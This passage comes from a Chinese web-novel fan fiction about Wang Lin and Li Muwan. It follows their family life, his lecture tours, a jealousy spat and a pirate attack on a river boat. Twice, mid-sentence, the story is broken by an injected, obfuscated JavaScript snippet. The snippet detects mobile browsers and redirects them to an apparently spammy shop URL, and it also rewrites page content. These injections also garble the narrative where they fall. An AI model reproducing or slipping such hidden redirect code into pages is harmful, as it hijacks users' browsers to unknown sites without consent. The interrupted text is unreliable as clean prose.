“婉儿,这山谷太大了,咱们也生个孩子吧,热闹一些。”王林咬下耳垂,李慕婉指尖滑动,拨乱琴弦,心也跟着乱。 热气让她不自觉仰起,他顺着白皙往下,琴身上落满长袍和纱衣,朵朵桃花飘入帘子里,湖心亭的石桌上,交缠的倒影在湖中隐隐绰绰,男子闷哼极重,与娇吟交融。 桃林外的山野日复一日,四季轮回,唯独禁制下的桃花永不凋零,李慕婉与王林坐在亭上对弈棋局,她捏着白子思索下哪里? 王林耐心等着她落子,她专注下棋全然忽略了对面人的目光,仿若把她当成了猎物,“婉儿说过,若我赢了百局,你得应我三个条件,只差最后一局了。” 李慕婉皱着眉,眼看又要输,百局,他也不让让自己,心里胜负心愈发重,白子落定。 “婉儿要输了。”王林漫不经心道。 正在等着胜利的人满腹得意,李慕婉脑子乱得很,又顿感困乏,多少年不曾有困意,胃中一阵翻涌,她撑着棋盘要起,棋子却落了满地。 半个身子撑在亭柱上,王林察觉满目担忧上前,想用神识扫着异样,却感受不到她体内异样的灵力波动。 “婉儿?你怎么了?”他声音沉哑,带着焦急和害怕,他害怕他的婉儿与千年前一样消散在自己怀里。 没等李慕婉回应,眼眶已盛满了热泪,李慕婉感受到他心底的难受,忍着胃里翻涌回眸安慰他:“师兄,婉儿无碍,别担心。” “那你怎么?”他搂着李慕婉整个身躯,就仿若人在怀里就不会消散。 李慕婉用灵气压制了体内难受,双目柔情,面颊似乎泛了红晕,垂首含羞道:“夫君,婉儿,有身孕了……” 王林蓦然一怔,而后惊喜神识扫过她小腹,确有生命在李慕婉腹中不断吸收灵气。 “婉儿,”王林双臂紧紧抱过她,一遍遍抚着她发丝,“我们有孩子了。” 湖心亭的纱帘荡起,王林陷入幸福中难以回神,体内胎儿会吸收母体大量灵力,往后每月王林都会为李慕婉输送灵气,采集露珠,滋养身子。 *** 正直春三月,王林携带李慕婉和王依依定居县里,王林买下一间铺子,给李慕婉做药房,还腾出一块空位摆放木雕,木雕大多数是王天水刻的,若有人喜欢能顺手带走几个。 王林除了讲学,大部分时间都是宽裕的,空闲时也会坐在铺子雕刻木雕,李慕婉则忙碌在柜台前。 自王林搬到县里开了铺子,许立国也从书铺辞了活计,跑到药铺帮忙。 有许立国在,李慕婉这才松快些,王依依聪慧,诗文背诵都比同窗要快,旁的小孩背诵文章要好几日,她一晚上便能记熟了。若有不认识的字,也会捧着书去问王林。 王林放了手中刻刀,把人抱在腿上,一字一字教着她念。 李慕婉点了灯,头靠在王林肩头,看着他教习。夜深时,王依依趴在他臂弯睡着了,王林无奈摇头。 “抱她到房里睡吧。”李慕婉起身去点了房里的烛火,放下王依依后两人才又回到自己寝屋。 烛台下李慕婉似有心事,王林察觉后走近身侧,“婉儿,可是有什么难处?” 见她欲言又止,王林又说:“你我已是夫妻,有什么不能说?” 几日前,她回清平镇去了李奇庆药铺,见了一位故人。 “前些日子,我不是回了清平镇嘛,”李慕婉缓缓说来,“在哥哥铺子里你猜婉儿见着谁了?” 王林属实想不出来什么人能让她如此失魂落魄,“谁?” “周紫虹。”李慕婉望着他双眼,“她从京城特意而来。” 闻言王林不由得警惕,“京城的人……婉儿,她可说了什么?” 李慕婉与他道明详细,周紫虹是路过长乐县,知道李慕婉兄妹在清平镇,故而绕道过来,正逢李慕婉回了清平镇,周紫虹只留下一日与兄妹二人叙旧,又得知她与王林育有一女,很是替她高兴。 “李秋池回到京城后许是与紫虹提过咱们,不过倒是有一怪事。”李慕婉细说,“李秋池同紫虹说,在京城似见过我们……” “是以,婉儿是为这事担忧吗?”王林捧着她脸。 “不,是哥哥,”李慕婉起身走开些距离,语气满是惋惜,“我知道哥哥对紫虹一直心中难平,原先以为哥哥放下了,近日总瞧他心神恍惚,我这才忧心的。” “既然如此,”王林思索着,“兄长自知二人中间隔着天堑,故而才藏起心中情意,暗自神伤。” 李慕婉又岂会不知,当初哥哥告诫自己与王林保持分寸距离,目的也是如此,只是王林能够舍弃京城仕途与她厮守。 身为世家之女,周紫虹身上所背负重任不比常人,她没法弃家族不顾。李奇庆也不会再踏足京城,那是场无疾而终的遗憾。 王林不知该如何安慰她,只能抱在怀里一遍遍抚平她的忧愁。 王依依去私塾早晚常是许立国接送,王林的声誉在文人界早几年便已经声名鹊起。 外地州郡慕名而来请去讲学的帖子数不胜数,书案堆叠的厚厚一沓,李慕婉替他收拾桌子时,不免问着:“阿兄,这些请帖你都没打开看看吗?” 隔壁房间里,王依依刚睡下不久,王林拉过她来,“都是那些州郡文人亦或者私塾书院送来的,我还没想好呢。” “嗯?”李慕婉歪头看他,“你不是喜欢讲学吗?铺子里也没什么事,许立国帮着照看依依,我打理铺子的时间也多了。” “倒不是担心这些,”王林额头抵着她肩骨处,“只是一走就要个把月,我舍不得婉儿。” 李慕婉浅浅笑着,抱着他头,她倒是不知他竟然这般离不开人,“阿兄,依依去学堂从不闹,你知道为什么吗?” “婉儿说,我听着呢。”王林叹了一声。 “依依能面对离开是因为她知道天黑前便能回家看见爹爹和娘亲,那夫君呢?顶多也是几个月,几个月的分离,怎得好像生离死别似的?” 埋在肩甲处的王林闻言蓦然直起身,堵住了李慕婉的唇,她被这突如其来的吻吓到了,王林扣得她很紧,近乎是疯狂的占有,更像是一种警告。 她呼吸不过来,只能推了他,可力气 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每次远去外地讲学,王林都会问及她意愿,李慕婉不想成他累赘,又放不下家中老小,每每都会若无其事的婉拒。 “依依还要上学呢,我哪走得开?” “婉儿每次说辞都是一样,”王林轻笑,却无可奈何,“我尊重婉儿意愿。” 王林去了临州两个月,把许立国也带走了,李慕婉每日早晚都会去私塾接王依依下学。昏暮的落日笼罩两人身上,李慕婉拉着王依依手,她与同窗还不愿分别,嘴里的话说不停。 “王依依,你娘亲好漂亮啊。”其中一位个头比她矮一些的男童伏耳与她说。 “那是自然,”王依依挺着胸脯很是骄傲,“我娘亲是天底下最好看的人,我爹爹每次看着娘亲都舍不得移开眼呢。” 李慕婉霎时捂住她小嘴,半张脸被她遮着了,剩下双圆溜溜的大眼睛转动,“依依,不可乱说话,回去了,爹爹寄的信你还要不要跟娘亲一块看?” 王依依跟同窗招手告别,背上的小书箱装了几本书,还有王林给她雕的木雕小像她一直带着,“阿娘,爹爹什么时候回来?” “快了,依依想爹爹了?”李慕婉温柔应着。 “想,”王依依张着手,“难道娘亲不想爹爹吗?” 李慕婉脸上漫着笑,脑海中映着王林的身影,家书倒是收了好多封,还要一个月才返回长乐县,心里记着他在临州好不好,衣裳够不够穿…… “婉儿不想我?怎得不应依依的话。”身后熟悉声传来,不等李慕婉回眸,王依依已经率先喊道:“是爹爹的声音。” 李慕婉牵着她小手一并转身,王林沐浴在夕阳下,白袍上笼了一身暖色,“婉儿,依依。” “爹爹,爹爹回来了。”王依依飞跑出去,王林见势蹲下身接住她,又起身举高高转了几圈,发带被风扬起,停下后空置的右臂将李慕婉抱进怀里。 “婉儿不想我吗?” 李慕婉难掩喜色,“你信中不是说还要过几日才到长乐县吗?” “我想婉儿和依依,便早些回来了。” 王依依懵懂地望着父母,见娘亲脸上笑意散不去,“爹爹,娘亲也想你了,夜里娘亲带着依依睡,梦里喊的都是爹爹。” 李慕婉轻笑几声,抱着王林的手更紧了,日光斜过二人轮廓,王林朝她发丝轻轻落了一吻,王依依小手捂着双眼,却露出很大一条缝隙,眯起一只眼,坐在王林手臂上咯咯直笑。 “爹爹,你亲阿娘,怎么不亲依依。”王依依打断两人。 王林松了手,对着李慕婉说:“回家。” “爹爹,依依让你带的书,可有帮依依带回来?” “带了。”王林目光落在李慕婉身上。 “爹爹,临州的学子很多吗?” “多。” “那有依依的私塾多吗?” “有。” “爹爹……” “是。” “……” 王依依每问一句,王林都应着,只是视线一直看着身侧的人,似乎把两个月攒的思念都要一并倾诉。 “阿兄,你看路。”李慕婉别开了脸,面颊被他盯得火热,只觉街道的人群都看过来,掩着笑取乐她。 王林却不以为然,丝毫不顾旁人眼光。 回到宅子,王依依闹着爹爹抱,要王林给她念新带回来的书,还把私塾里这两个月学的文章都背给王林听,她的功课比王林想象中的还要好,已经能接受超出她这个年龄段的文章。 “爹爹,你给别人讲学,都讲什么?” “策论,依依可知何为策论?” 王依依摇头。 “策论,便是学子文人之士为朝廷献上的治世之道。”王林耐心说。 王依依似懂非懂点点头,而后又摇摇头,“爹爹,依依听不明白。” 李慕婉拿了灯油从屋外进来,“爹爹讲的治世之道,依依长大些便能听懂了。” “那娘亲也能听懂吗?” “夜深了,依依该睡了。”李慕婉展开臂,示意抱她去睡。王依依躲进王林怀里,“阿娘,依依今晚想要爹爹哄睡。” “好,”王林举起她往屋外去,“今晚爹爹哄睡,让娘亲歇一晚。” 55.吃醋 王林在偏房里给王依依讲了故事,没多久便睡着了。李慕婉在屋内收拾他的包袱,都是临行前她给备的,只是却多了样她从未见过之物。 门帘挑起,王林抬眼望着屏风上落的人影,轻唤:“婉儿。” “王林,你包袱里怎会有这个?”李慕婉身影从屏风探出,手里举着一个小物件。 看似是修行之人的物件。 “这个啊,”王林手臂搭上她后腰,带着人走回矮榻,“讲学的杏林旁有座道观,道里偶有修士也会过来听学。” 王林讲着讲着便蹙起眉头,“这物件乃是一道士相赠,说我有修道天赋。” “嗯?”李慕婉歪头,听得很是专注。 “修道之人要斩断七情六欲,所谓修行不过追的是长生之道,若婉儿无法与我长生,我宁可与你携老于浮世。” “修身养性,讲究的是在斩断欲望,可我想要的只是天伦之乐,与所爱之人长相厮守,七情六欲我斩不断,也不愿斩断与婉儿的情,我要与我的婉儿耳鬓厮磨,这修道属实索然无味。”王林忘情地注视她,“我修不了道。” “那你怎得还要带着?”李慕婉把玩着那串沉香木手串,散着一股木质香气,倒是上好的木料。 王林本也不想收,奈何那道士心热,只当是给他的讲学酬劳。 “那道士叫我想到一个故人。”王林若有所思,“少时得一修行道士指点,学了些武艺傍身,而今见着那道士忆起故人。” “阿兄竟然还有此经历?”李慕婉从未听他提起过,先前在王家借助时就探过他一身武艺从何而来,他也只是草草搪塞不答。 “他自称司徒,是乃云游各国的修行之士,见我投缘便指点了几年,只是后来再也没见过。”王林思绪扯远了,把李慕婉手中的沉香手串放好。 “这手串婉儿若是有用处,自行安置就是。”王林指尖触过她肩头,慢慢滑入衣领,声音也沉了,“依依说你梦里都喊得我?可见婉儿相思之浓。” 他眼眸散出浓欲,李慕婉不自觉撑手后仰,露出白皙的脖颈,其大掌抵住后颈,轻轻一握,一只手便能握得严实。 “婉儿这颈,好生媚人。”气息从胸口上延,落在颈侧,“斩断七情六欲方能修道?可是我斩不断,婉儿就是我的七情六欲,斩不断……” 他口中模糊念着,李慕婉腰身缓缓躺下,细指解开了他的腰封,新换的黑袍一层一层,上边是她刺的云纹,“王林,你不要再走了……” 就要探入的王林身躯停滞,面带疑惑:“婉儿?” 李慕婉捧着他的脸,细细查看,“往后若是讲学,我跟着你去。” 这么多年来,倒是她第一次提出来,以往王林要她陪同,她都不愿,而今主动提起,倒叫他心生疑虑,“婉儿,可是发生了何事?” “只是越发觉着,舍不得你,不想离开你了……”李慕婉贴着他前膛,汗淋淋的线条起伏不定。 从前也不舍,只是随着他走的时间越长,次数越多,那无数夜里转辗反侧,经年久月留下的孤寂,在一刻成为洪流。 她美眸中淌了一层水雾,王林捧起她脸,额心相抵,鼻梁轻触着,“好,往后年年岁岁不相离。” 得到了允诺,她才把那积攒已久的相思放纵在夜幕下,彼此灌溉,彼此交融,享受着彼此身上的气息。 每次王林讲学回来都能待上好长一段时间,两人带着王依依回了王家村小住,药铺就交由许立国打理,王家小院里,李奇庆与王林下棋对弈,王依依坐在王天水怀里看雕刻看得津津有味。 “祖父,这大象鼻子怎得这么长?”王依依小手比划着。 “大象的鼻子用途可多了,喝水拿物,驯象所的大象还能吹琴打鼓,”王天水慈祥善目说,“从前两国交战,便会用大象军队攻城,久而久之,大象笨拙,又难繁衍,故而就用马匹代之,成了祭司常用之物。” 王依依听得专注,“那祖父能刻一个给依依吗?” “好啊,依依想要什么,祖父都刻。” 另一旁下棋对弈的王林接着茬,“爹,您也别太纵着她,人小鬼大的,我和婉儿都快管不了她了。” 李奇庆闻言笑了笑,朝王依依招手,“依依过来,让舅舅抱抱,舅舅教你下棋可好?” 王天水松了手:“去吧。”坐一旁的周英素陪着笑,手里的女工没有停。 李慕婉冲了清心养目的菊花茶,给众人都倒了一杯。王林目光总会时不时寻着她身影,关注她在做什么,都说新婚夫妻处久了会淡,可旁人看他二人,越发黏糊,尤其是王林,恨不得时刻与李慕婉挨在一处。 “王林,你若再三心二意,这棋可要输了。”李奇庆捏着棋子等他落子。 “婉儿,弹一曲吧,为夫君助兴。”王林淡淡说,“有婉儿助兴,兄长该是担心自己的棋才对。” “怎么下棋还能请援军啊?”李奇庆颇有不满,张着手等王依依跑过来。 她一股脑栽入舅舅怀里,李奇庆轻松抱起,“哟,倒是长高不少,比先前来药铺玩的时候重了些。” “阿娘也夸依依长得快,我们同窗的男子可都长不过依依呢。”王依依挺着胸脯很是骄傲。 “嗯,”李奇庆捏了捏她小脸,“我们依依真棒” “依依是承了阿兄的身形,”李慕婉毫不吝啬夸赞道,“那就给你们弹一曲吧。” 琴音悠扬,婉转不断,竹林起风了,落叶洋洋洒洒飘散,李奇庆的棋局被击溃得无处遁逃,王林风轻云淡收起笑,“兄长输了。” 李奇庆无奈,对着王依依说:“你爹爹扮猪吃老虎,很是狡猾。” “那我还跟舅舅学棋么?”王依依眼睛睁得大大的,很是天真。 “为何不学?”王林收了棋,还准备再下一局。 “舅舅的棋艺比不过爹爹,我该跟爹爹学还是舅舅学?” 院内笑声不断,王林只道:“自是跟舅舅学,舅舅内敛沉稳,爹爹教你识字,让舅舅教你学棋,可好?” “我还要跟舅舅学经商。”王依依玩着衣袖说,“许立国叔叔说,舅舅的经商之道乃是长乐县第一,我长大也要学经商。” “该不会是哄舅舅的吧?”李奇庆说,“我可没给你带糖葫芦哦。” “才不是呢,”王依依挣开一只手,竖起拇指,“阿娘也说的,舅舅的经商之道是这个。” 拨弦的李慕婉闻言笑得很是温婉。 药铺生意好,许立国忙得不可开交,好不容易得空歇息,却频频打着喷嚏,怨念道:“这煞星主子带着依依和主母回乡也不带着我许立国,我没有功劳也有苦劳啊。” “这看店铺比看小主子难多了。” 院里王林不由也打了个喷嚏。 海棠院墙外几声叫唤穿透而过,是花影和王浩王卓几人,听闻两夫妇回了王家村都过来相聚。 院里的热闹又是沸起,花影嫁到花溪村一家猎户,丈夫老实勤勉,家境也还算不错,待她可谓是言听计从,别人都说是蛮汉子,也只有花影知道丈夫对着自己时的温柔。 王浩还在议亲,听闻是镇上一家布庄女儿,端庄贤良,眼看婚期也快定下了,王卓与景宁县一家藤姓女儿相识不久后也成了家,王浩每次见着都喊秀秀嫂嫂。 *** 王家村小住一段时日后,三人又回了县里,许立国送来了外地的讲学请帖,王林要赴约。只是临走前,县里原先他讲学的书院先生请他去讲一场,王林没有推辞。 讲学持续了两日,李慕婉去私塾接了王依依下学后便会再走一刻钟到书院等王林。 左等右等,学子们陆续出了书院却还不见王林,李慕婉拦下一人寻问后才得知,一女先生拉着他要探讨学问,王林绊住了一时半会儿走不开。 李慕婉进了书院一瞧,果真,那女先生她也认得,正是先前周英素拿了三副议亲画像的其中一人,云锦。 “娘亲,爹爹在跟那个人说什么?怎得如此专神?”王依依倚在她腿上。 李慕婉心底莫名一股酸意,拉着王依依头也不回的走了。 “娘亲,咱们不等爹爹了吗?” “爹爹自个儿有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14144845|144902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腿,也认路,”李慕婉鼓着小脸时,与王依依简直一个模子刻出来的,“不用咱们等,他爱回不回。” 王依依眸子左右两边打转,鬼灵精怪地像是思索着什么,看见娘亲莫须有的火气,很是识脸色,只能紧紧跟着,也不敢再出声。 王林出了书院,左顾右盼也没看着李慕婉身影,说好来接自己的,他等了一柱香,若非门外小厮告知李慕婉已经先回了,他许是还会等到天黑。 回到宅院后王依依坐在院里温习功课,李慕婉做好晚膳,也只喊了王依依用膳,似看不见王林一般。王林唤着自己时,她也不正眼瞧,只是轻轻“嗯”了一声。 晚膳席上氛围凝固,王林左看看右看看,两人都不搭理自己。 “婉儿吃肉。”王林朝她碗里夹了块肉。 李慕婉没动,只是把那块肉又夹到王依依碗中,奈何就是不理会王林。 “阿娘,这是爹爹给你夹的。”王依依为难盯着那块肉,不知道要不要吃。 “娘亲吃好了,等你吃饱娘亲检查功课呢。”李慕婉说完起身去了院里,院里池子莲花开着,晚风一吹,阵阵幽香袭来。 捧着饭碗的王林望着出去的李慕婉,不由蹙起眉,问着:“依依,你是不是又惹娘亲生气了?” 王依依哼的一声,撇过小脸,“哼,还不知道到底是谁惹娘亲生气呢。” 女儿咋呼的小脸鼓得很是圆,王林无奈浅浅一笑,放了碗筷跟出去。 莲池旁李慕婉吹着风,划过面颊,把白日的阴郁吹散了,月色与星辉淡出夜空,照着小院。 “婉儿,”身后的人踏着步子过来,王林走近后手臂自然绕到她肩上,“婉儿可是生我气了?” 他还不知错在哪,“可是这两日讲学早出晚归冷落了你?还是我哪里没做好?我可以改的,婉儿别跟我置气可好?” 李慕婉侧身背着他,没有作声。 王林眸子暗沉,莫名心疼她,“婉儿?” 梁柱后王依依探出脑袋,“依依跟娘亲在书院外等了爹爹好久,爹爹跟女先生谈话也谈了好久……” 王林闻声,而后笑了笑,哄道:“婉儿是因为这个与我置气吗?” “云锦只是同我问及王家村的一些事,知道咱们家在县里开了药铺,对你炼制的丹药也有所耳闻,她家中婆婆唤有腿疾,正好想问问我治疗腿疾的药。”王林双臂抱紧人,偏不让李慕婉躲开,“之所以滞留久了,是因着想问清楚些症状,才好与你商议。” “那是我小气了?”李慕婉说。 “不,我的婉儿心胸宽阔,又怎会因这小事与我置气,若有要事缠身,我因先告知你,以免让你忧心,让你久等。”王林说,“是我的错。” 他这么说,倒是叫李慕婉骑虎难下,“你……” 王依依跑过来抓着王林衣袖,朝他使眼色,像是要问他哄好了吗? 却不知怎得,眼前一黑,双目被王林大掌覆上,捂住了眼,怎么都挣不开,“爹爹,依依看不见了。” 李慕婉被逗笑了,王林俯身朝她面颊轻点一下,身侧的小人还在挣扎着,“让依依看看……” “婉儿原谅我了?”唇瓣移到她软唇,深深吻下去。 王依依费劲力气才勉强掰开一只手指,模糊的看不太清。 月色撩人,面颊滚烫,却抓挠着他的心。王林俯身单手抱起王依依,“你功课做完了?” “早就做完了。”王依依还揉着眼,面颊被他捂得紧,映了淡淡的痕。 “那你该睡了。” “爹爹,这会才戌时一刻啊。”王依依一脸幽怨。 “哦。”王林见哄不到她只能作罢。 桌上的碗筷是王林收拾的,李慕婉已经把王依依哄睡了。 房门掩了一半,王林进来看了两人,李慕婉昏昏欲睡半靠着床头,王依依睡熟了,王林一只手撑着床榻,胸膛贴过去让李慕婉枕着睡。 李慕婉被他的动作惊醒,王林食指放在她唇瓣上做着“嘘”的手势。她这才安心靠着前膛,三人挤在一张矮榻上睡了一夜。 56.失踪 王林又要去临州讲学,这一次带上了李慕婉母女二人,还有许立国随行。李慕婉自来了王家村之后便不曾出过长乐县。 只是越接近临州,便能看见不少燕州逃亡到此的百姓。 临州讲学持续月余,李慕婉时常也会旁听,王依依年纪小自是坐不住,吵着要在临州城内玩。王林身有要事,便叫许立国作陪。 临州玩乐花样比之长乐县,她乐不思蜀,李慕婉到了哪里,都觉无太大变化,只要是陪在王林身边,在哪都无差别。 讲学后不久,几人在临州住了半月,燕州与朝廷水火不休,即逢乱世,也难耐住学子们的求学之心。 递到王林手中的邀帖又堆了一叠,李慕婉替他规整书案,油灯残影落在身上,“阿兄,你要去燕州吗?” 见王林心有所思,李慕婉心知他想去,这些年他讲学之道遍布半个赵国,燕州所居文人异士与其他州郡有所不同,临界楚国,受两国文化熏陶,不止传道授业,也能自身提升。 “燕州兵乱,阿兄可是担心我和依依跟着?”李慕婉趴在他腿间。 王林掌心游过,抚着她下颚轮廓,“婉儿知我。” 李慕婉替他做着决定,“婉儿知道,阿兄有自己想成就之事,燕州之行不可多得,阿兄且放心去就是,婉儿带依依回长乐县等你平安归家。” “婉儿?”王林倾身把她抱起来,竟然觉得于她有愧,“你怎得这般好?” “婉儿在长乐县也有自己的事啊,药铺歇业这么长时间,我心里也惦记着呢,阿兄也有自己的事,可我知道无论你走多远,都会回来寻我的。” 王林陷在情动里,抱起李慕婉往榻上去,门外是王依依的声音,急急拍着木门,王林置若罔闻,淡淡道:“许立国,带依依出去玩吧。” 王依依刚从外头回来,买了不少好东西,正想给爹娘看呢。许立国要疯了,抱着头怨念道:“这才刚回来啊,这一大一小的煞星主子……” “还不快去?”屋外的声音没有停,李慕婉盯着他扯出笑意,王林催促道。 许立国无奈只能哄着王依依,“小主子,主子和主母有要事,要不咱们再去画舫玩一圈?” “画舫?好啊。”王依依还没去过画舫,听着就来了兴致,这个年纪的孩子,精力就仿佛用不完,许立国托着两条腿,只觉要废了。 寝屋的窗推开时,夜幕已经降下,李慕婉侧身躺在榻上,屋外的风滚入荡着床幔,王林撑手立在窗台下冥思着。 “王林。”李慕婉睁眼,惺忪睡眼装着模糊的身影。 王林闻声转身回到榻前,暑期快要来了,天气闷着湿热,被褥裹着身子,浸了薄汗,碎发贴着面颊,王林直接擦拭过她额间的细汗,“婉儿醒来了” “依依还没回来吗?”李慕婉抬头枕在他手掌上。 “还没,这些日子她玩疯了,回到长乐县得要婉儿费些心才是。” “无碍。” “依依长大了,会听爹娘的话,也能照顾婉儿。”王林鼻尖蹭着她面颊,像是哄着。 李慕婉轻笑,“阿兄,等你从燕州回来,咱们再要一个孩子吧,好不好?” “嗯?”王林没即刻应下,“怎得婉儿突然说这事?” “怎么了?”李慕婉很是平常说。 “再要一个倒是无妨,”王林说,“只是,我不想婉儿因此再受苦。”回想她生王依依时的艰苦,还是惊魂未定,那种难关,他哪里舍得再让她度一次。 李慕婉倒不是那么在意,“生孩子嘛,有了一次,第二次或许能少受些苦,你心疼我,我知道。” 薄衫下的齿痕很是显眼,王林指尖温热,抚过自己留下的痕迹。 入夜后王依依回来时玩累了,许立国背着回来的,见他也一脸疲惫,面上怨念颇重,语气都是劳怨之话。 “聒噪。”王林乜斜一眼,许立国噤声不敢再言。 李慕婉接过王依依放到自己寝屋睡,夜里王林长臂搭着娘俩,心里满是舒心。 因着燕州与朝廷的交战在即,不少山匪趁乱蠢蠢欲动,王林怕陆路不安全,给李慕婉娘俩准备水路直达清平镇。虽是耗时久一些,本想着能更安全。 只是水路还未出临州,商船遇劫,船上商客乱成一团,水匪烧杀抢掠,凶狠残暴,几条商船皆数遭殃,客舱的李慕婉闻见船外动静,嘱咐王依依莫要出去。 船舱墙上一口小窗,李慕婉目视当前,水手们还在与劫匪抵抗。 两岸边官兵的火把近了,数只箭羽朝商船射去,劫匪抵挡不住,趁机潜水而逃,却被船上水手拦下,眼见岸边官兵已乘小船淌河剿匪。 劫匪越发狂躁,穿破人群朝船舱里去,抓了一名又一名商客作为人质。 李慕婉脑子转动,眼下出不去,只能躲在暗处,奈何船舱内漫了水,她必须得带着王依依出去,眼下局势进退两难,躲在船舱必死无疑,出去或许还能有逃生的希望。 她转身抱起蜷缩在矮榻的王依依,镇定道:“依依,外边有坏人打进来了,娘亲带你出去,但是你不要出声,听娘亲的,知道吗?” 王依依委屈点点头:“嗯。” 李慕婉刚要抱起她,衣袖被抓住了,声音满是哽咽,却在抑制着不哭出声,“阿娘,我想爹爹了。” “阿娘在。阿娘也会保护好依依的,依依不怕。” “依依也要保护娘亲。”王依依泪眼婆娑,许是吓坏了,却始终没敢哭出声。 甲板处不断有水匪攀爬而上,不少船客趁乱逃离,会水的已经跳江了,都在争抢乘坐小舟逃生,李慕婉抱着王依依躲过搜寻,水匪还在大肆掠夺。 若官兵的船追上,这些商客能作为人质牵制官兵,水匪自然不会让他们乘船而走。渐渐的,商船被水匪占据,商客出不去。 官兵与水匪对峙维持了一日一夜,水路商船遇难的消息翌日便传遍临州城,即日启程前往燕州的王林收到信息后如雷贯耳,就连下阶时都险些踩空了。 他马不停蹄地往商船停滞的地方赶去。 马蹄溅起尘土,心骤然跳得剧烈,一股从未有过的恐惧占据着他的理智,“婉儿,依依……” 许立国在身后猛追猛赶,“主子,小主子和主母吉人自有天相……” 王林马鞭再次扬起,双腿夹紧马肚,奔在林道间。他心里念着都是快些,再快些…… 两日持续对峙下来,商船里的储粮已经绝了,水匪没有粮食维持体力,迟早要耗尽。可水匪残暴,只能以人质要挟官兵换粮。 船客惊吓中四处逃窜,船舱里乱作一团,水匪 见状大肆绞杀,杀戮中李慕婉抱着王依依躲藏,船舱开始渗漏,有船客在间隙里找出船舱的小舟,小舟已经挤满了人,身后的水匪赶上,官船隔着距离。 李慕婉无奈之下只能拖着小舟上的船客把王依依一并送上岸。 王依依紧紧抓着她,眼眶里都是泪,“娘亲,依依不走,依依要和娘亲一起。” 商船不知何时起了火,火光落在人影上,要被发现了。 “狗日的官兵,都给我杀,”身后领头水匪声音压上,“今日谁也别想走,都给我杀了。” 情急之下,李慕婉只能哄着她,“依依乖,到岸边等着娘亲。” 小舟已经再难容下一人,王依依还小,抱在怀里勉强能行,可是李慕婉不行。 其余人不断催促着,其中一个大哥心善,抱过王依依,允诺道:“这位娘子放心,定然会把你这丫头送到岸上。” “多谢了。”李慕婉含着泪,满是不舍,王依依哭声撕裂,船桨划动。身后水匪赶上,还有船客在绞杀中嘶吼,李慕婉望着不远处的官船,似乎更近了。 箭羽不断钉在甲板上,不少水匪中箭受伤难行。 其中一个水匪挥刀正要往这边来,李慕婉后退到船板上,水匪凶神恶煞要砍人,却见李慕婉样貌生得好,落刀时犹豫须臾,“小娘子生得俊俏,可不逊色咱们二当家啊,杀了可惜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14157319|144902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 同行之人催促道:“大哥,想什么呢?生死关头,性命为重啊!” 那人随即打断了想法,李慕婉警惕盯着人,官船要近了,可挥刀过来的速度之快。 若一直困在商船,眼下必会死于刀下,李慕婉试图拖延,“官兵已经到了,你们又何必苦苦挣扎,为难我们普通船客。” “哼,你的话留着等下去跟阎王爷说吧。”水匪惨无人性,压根不听李慕婉之言,步步紧逼。 李慕婉俯身看了眼黑夜里潮浪翻涌的江水,幽深的黑幕望不见底,只能赌一把了。 水匪大刀落下时,李慕婉纵身一跃,刀身砍下深痕,船板裂了道口子,江面泛起巨大水花。 江水再次漫过甲板,船舱上火势又起,火光中驶离的小舟上,王依依看的清楚,李慕婉落水了。她撕心裂肺地喊着“娘亲”。 小舟上的船客拼命滑动着桨驶离乱场。 浪潮滚过江面,吞尽所有,商船下沉得快,官船这才盯着水匪火力赶上,水匪与官兵拔刀相向,有逃命的跳水游走,不少已经死于刀箭之下。 官兵放出小舟,在江中搜捕逃离的水匪,还有不少官兵在搜救落水船客,江面上商船被淹了只剩下一角。 岸边火光亮到卯时,天际泛起微光,浮上一层白,不少当地村民围观聚集。 王依依在人群里哭喊着娘亲,见着委实可怜。 人群后王林纵马疾驰而至,岸边围的水泄不通。不少刚上岸不久的船客笼在一处,官兵给了毯子和吃食,有人负责登记户籍。 擒获的水匪所剩无几。 他在人群里寻着想见的身影,撞着来往拥挤的人潮。 没有! 没有! 还是没有! 许立国随后赶到,见王林疯魔般闯在人堆里。王依依被一名官兵牵着,官兵正与上峰交谈:“大人,这孩子母亲死于水匪手上,这人该如何处理啊?” 领兵的人正打量着王依依,王依依哭得泣不成声,已经很累了,她听得见二人谈话,固执扯着哭哑的嗓音喊:“我娘亲才没有死,你们胡说……” 王依依又哭起来,挣扎着要去寻李慕婉,“我娘亲只是落水了,娘亲没有死……” “你们胡说,放开我,我要去找我娘亲……” 撕心裂肺的声音穿破人群,把慌乱中的王林从焦躁中拉回,他身量高,视线扫过人群,见那为首官兵身侧一身紫衣,身高是不过腰的小女娃,绑着两个小髻。 王林飞步上前,给那沉在悲伤里的王依依一把搂入怀里,“依依,依依不哭,爹爹来了。” 他日夜兼程赶路,早已哑声得不行。 “啊?”王依依还未缓过来,抽泣不止,见王林给自己擦着泪,她这才反应是爹爹,把那几日的害怕和疲惫一股脑扑了进去,委屈着,“爹爹……” “爹爹,依依害怕……”王依依小手紧紧攥着他衣袖,啼哭不断,王林心如刀割,努力平息着。 直到安抚了些许,才忍着内心不安去问:“依依,依依不哭,爹爹问你,娘亲呢?娘亲去哪了?” 他的声音很轻很轻,却泛着哑,那是一种直达心底的恐惧,灼热的不安遍布全身,几欲要融掉他努力维持的冷静,他害怕听到不想面对的答案。 “娘亲,娘亲……”王依依靠着他,贴着他,说到一半又哭了,“娘亲落水了,爹爹,我要,我要娘亲……” 